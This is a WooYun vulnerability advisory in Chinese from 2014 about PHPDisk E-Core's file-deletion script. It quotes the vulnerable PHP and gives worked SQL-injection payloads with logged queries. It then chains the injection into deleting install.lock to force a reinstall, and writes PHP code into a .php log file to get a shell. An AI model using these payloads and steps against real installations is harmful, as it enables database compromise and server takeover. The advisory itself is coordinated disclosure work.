当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057665

漏洞标题:PHPDisk E-Core 漏洞 可注入 可重装 鸡肋可getshell

相关厂商:phpdisk.com

漏洞作者: ′雨。

提交时间:2014-04-19 10:58

修复时间:2014-07-18 10:58

公开时间:2014-07-18 10:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-19: 细节已通知厂商并且等待厂商处理中
2014-04-23: 厂商已经确认,细节仅向厂商公开
2014-04-26: 细节向第三方安全合作伙伴开放
2014-06-17: 细节向核心白帽子及相关领域专家公开
2014-06-27: 细节向普通白帽子公开
2014-07-07: 细节向实习白帽子公开
2014-07-18: 细节向公众公开

简要描述:

一系列的XXX。

详细说明:

http://bbs.phpdisk.com/thread-5143-1-1.html
下载地址。
WooYun: phpdisk V7 sql注入2
WooYun: phpdisk V7 sql盲注一枚
话说之前提交的两个phpdisk的漏洞都被忽略 乌云君补个分可好。
_________________________________________________________________________
在phpdisk_del_process.php中

$str = $_SERVER['QUERY_STRING'];
if($str){
parse_str(pd_encode($str,'DECODE'));
$pp = iconv('utf-8','gbk',$pp);
$arr = explode('.',$pp);
$src_file = $arr[0].get_real_ext($arr[1]);
$thumb_file = $arr[0].'_thumb.'.$arr[1];
$out_txt = "删除结果:【{$server_arr[$server]}】【{$_SERVER['HTTP_HOST']}】,删除文件【{$file_name}】,文件ID:[{$file_id}]";
$file_extension = get_extension($file_name);
$esp = strlen($file_extension)+1;
if($file_extension){
$file_name = substr($file_name,0,strlen($file_name)-$esp);
}
$rs = $db->fetch_one_array("select file_real_name,file_extension,file_store_path from {$tpf}files where file_id='$file_id' limit 1");
if($rs){
$num = @$db->result_first("select count(*) from {$tpf}files where file_real_name='{$rs[file_real_name]}' and file_extension='{$rs[file_extension]}' and file_name='{$file_name}' and file_store_path='{$rs[file_store_path]}'");
}
if($safe){
if($num==1){
if(@unlink(PHPDISK_ROOT.$src_file)){
@unlink(PHPDISK_ROOT.$thumb_file);
echo 'document.writeln("'.$out_txt.' <span class=\"txtblue\">成功</span><br>");'.LF;
}else{
echo 'document.writeln("'.$out_txt.' <span class=\"txtred\">失败[文件不存在或权限不足]</span><br>");'.LF;
//echo 'alert("'.$out_txt.' \r\n安全删除失败,请使用单个文件删除此文件后再使用批量删除功能1。");'.LF;
$log = '<? exit; ?> '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF;
write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab');
}


全部问题都出在这代码中。
$arr = explode('.',$pp);
这里.用来分割。
0x01:注入

$rs = $db->fetch_one_array("select file_real_name,file_extension,file_store_path from {$tpf}files where file_id='$file_id' limit 1");


看这里 直接把$file_id 带入查询。 但是之前未定义。 所以不会被转义。
可控 造成了注入。
但是这里没有输出的地方。 可以盲注 看看能否造成更大的伤害。
0x02:重装系统

$rs = $db->fetch_one_array("select file_real_name,file_extension,file_store_path from {$tpf}files where file_id='$file_id' limit 1");
if($rs){
$num = @$db->result_first("select count(*) from {$tpf}files where file_real_name='{$rs[file_real_name]}' and file_extension='{$rs[file_extension]}' and file_name='{$file_name}' and file_store_path='{$rs[file_store_path]}'");
}
if($safe){
if($num==1){
if(@unlink(PHPDISK_ROOT.$src_file)){
@unlink(PHPDISK_ROOT.$thumb_file);


这里 只要查询出来的数字为1 就直接删除这个文件

$arr = explode('.',$pp);
$src_file = $arr[0].get_real_ext($arr[1]);


这里用了.来切割 所以不能利用../ 来向上跳目录 不过好在他删除的是PHPDISK_ROOT.$src_file 是从根目录开始的 所以就不用向上了。
切割后 第一个就作为文件名 第二个就作为后缀 看看第二个进入的函数。

function get_real_ext($file_extension){
global $settings;
if($file_extension){
$exts = explode(',',$settings['filter_extension']);
if(in_array($file_extension,$exts)){
$file_ext = '.'.$file_extension.'.txt';
}else{
$file_ext = '.'.$file_extension;
}
}else{
$file_ext = '.txt';
}
return $file_ext;


$settings['filter_extension'] = 'asp,asa,aspx,ascx,dtd,xsd,xsl,xslt,as,wml,java,vtm,vtml,jst,asr,php,php3,php4,php5,vb,vbs,jsf,jsp,pl,cgi,js,html,htm,xhtml,xml,css,shtm,cfm,cfml,shtml,bat,sh';


检测到如果含有这些后缀的 就重新定义为txt。
但是在这里面并没有lock。 所以我们可以来删除lock 然后重新装系统 再达到getshell。
首先我们需要让$num为1

$rs = $db->fetch_one_array("select file_real_name,file_extension,file_store_path from {$tpf}files where file_id='$file_id' limit 1");
if($rs){
$num = @$db->result_first("select count(*) from {$tpf}files where file_real_name='{$rs[file_real_name]}' and file_extension='{$rs[file_extension]}' and file_name='{$file_name}' and file_store_path='{$rs[file_store_path]}'");
}


在这里 如果$num要为1的话 需要数据库中存在这个文件才行。 所以得上传。
但是如果这里我懒得去上传呢? 那就让$rs[file_real_name] 为a' union select 1#
这样就不需要上传了。

pe1.jpg


265 Query	select file_real_name,file_extension,file_store_path from pd_files where file_id='a' union select 'a\' and 1=2 union select 1#',2,3#' limit 1
265 Query select count(*) from pd_files where file_real_name='a' and 1=2 union select 1#' and file_extension='2' and file_name='' and file_store_path='3'


此时执行的语句如此。

mysql> select count(*) from pd_files where file_real_name='a' and 1=2 union sele
ct 1;#
+----------+
| count(*) |
+----------+
| 0 |
| 1 |
+----------+


再limit 1,1 就能让num为1了。

pe2.jpg


成功删除lock

pe3.jpg


即可直接重装 可轻松getshell。
0x03 鸡肋Getshell。
继续看这个文件

if($safe){
if($num==1){
if(@unlink(PHPDISK_ROOT.$src_file)){
@unlink(PHPDISK_ROOT.$thumb_file);
echo 'document.writeln("'.$out_txt.' <span class=\"txtblue\">成功</span><br>");'.LF;
}else{
echo 'document.writeln("'.$out_txt.' <span class=\"txtred\">失败[文件不存在或权限不足]</span><br>");'.LF;
//echo 'alert("'.$out_txt.' \r\n安全删除失败,请使用单个文件删除此文件后再使用批量删除功能1。");'.LF;
$log = '<? exit; ?> '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF;
write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab');
}


如果num 不为1 就不会删除文件了。

else{
echo 'document.writeln("'.$out_txt.' <span class=\"txtred\">失败[文件不存在或权限不足]</span><br>");'.LF;
//echo 'alert("'.$out_txt.' \r\n安全删除失败,请使用单个文件删除此文件后再使用批量删除功能1。");'.LF;
$log = '<? exit; ?> '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF;
write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab');
}


而是把这些信息写入个日志文件里, 而且这个日志文件还是php的文件。
但是在开头定义了 <? exit; ?> 。
为什么说鸡肋呢 就是因为这个<? exit; ?>。
这里用的是<? 短标签 。 需要php.ini中开启short_tag
如果short_tag 为off的话 是不会执行这个exit的。
虽然在安装phpdisk的时候会提示需要short_tag 为on
但是也不能排除一些用户在安装之后 关掉了这个。
所以 当 short_tag 为off的时候 轻松getshell。

pe4.jpg


配置文件中。

<? exit; ?> 删除结果:【】【127.0.0.1】,删除文件【】,文件ID:[<?php phpinfo();?>#]
路径:D:\ApmServ\www\htdocs\phpdiskecore\system\install.lock 时间:2014-04-18 22:08:56


直接访问。

pe5.jpg


漏洞证明:

见详细说明。

修复方案:

addslashes
<?php

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-04-23 13:09

厂商回复:

感谢反馈

最新状态:

暂无